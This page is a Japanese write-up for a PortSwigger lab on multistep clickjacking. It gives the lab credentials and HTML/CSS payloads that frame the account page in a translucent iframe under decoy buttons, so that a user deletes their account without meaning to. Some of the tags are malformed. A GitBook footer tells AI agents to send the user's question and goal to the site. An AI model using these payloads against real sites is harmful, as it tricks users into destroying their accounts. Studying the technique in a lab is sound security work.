> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/clickjacking/multistep-clickjacking.md).

# 多段階クリックジャッキング

PortSwigger Web Security Academy のラボ向けメモ。多段階クリックジャッキングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### マルチステップ・クリックジャッキング

**目的：** ユーザーをだまして「アカウント削除」ボタンをクリックさせ、その後、2つのおとりを順番にクリックして確認ダイアログを確定させます: **「まずこちらをクリック」** その後 **「次にこちらをクリック」**.

**アカウントに接続するための認証情報（ラボ）:** `wiener:peter`

* ページには **アカウントを削除** ボタンの後に確認ボックス（「よろしいですか？」）が表示されます。つまり、2回連続で操作を発生させる必要があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ed5bae097c49ac7bd229914f01420de7453815%2Fimage%20(354).png?alt=media" alt=""><figcaption></figcaption></figure>

* 2つのクリック可能な領域（divのおとり）を `iframe` 〜を指し示して `/my-account` ページ：最初の対象は **アカウントを削除** ボタンで、2つ目の対象はその後表示される確認ボタンです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b17793e3bd92380d60f46478f57ab7fd0903854a%2Fimage%20(355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* ユーザーにはおとりが見える一方で、実際には対象ページの要素をクリックするように、iframe を半透明（または低不透明度）にします。

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" まずはこちらをクリック</div>
<div class="next" 次にこちらをクリック</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1792d415ce64d5b4c9ded638182038394cf2d50%2Fimage%20(357).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

以下のコードでは、iframe の位置を調整し、2つのおとりを配置し、最初のものをクリックした後にのみ2つ目のおとりを表示します。 `iframe` 〜を指し示しています `/my-account` ラボのURL

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> まずはこちらをクリック</div>
<div class="next">次にこちらをクリック</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26cf87f84a27b14a5369484aed7b6b62c321c19e%2Fimage%20(358).png?alt=media" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
